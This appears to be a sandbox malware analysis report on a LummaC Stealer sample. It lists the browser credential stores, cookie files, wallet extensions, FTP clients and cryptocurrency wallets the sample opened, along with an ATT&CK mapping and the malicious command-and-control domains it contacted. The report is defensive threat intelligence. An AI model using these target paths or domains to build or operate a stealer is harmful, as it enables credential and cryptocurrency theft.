Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1566660244.0000000000E00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4936, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 4936, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Bypass User Account Control	361 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	361 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
crisiwarny.store	104.21.95.91	true	true		unknown
presticitpo.store	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
scriptyprefej.store	true	unknown
https://crisiwarny.store/api	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
navygenerayk.store	true	unknown
founpiuer.store	true	unknown
thumbystriw.store	true	unknown
